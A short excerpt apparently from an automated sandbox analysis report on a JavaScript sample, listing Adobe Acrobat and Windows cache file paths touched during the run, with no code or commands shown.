C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b768908f-dc1f-4ba3-912f-711633fad74a.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3468

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
998728891275936098.js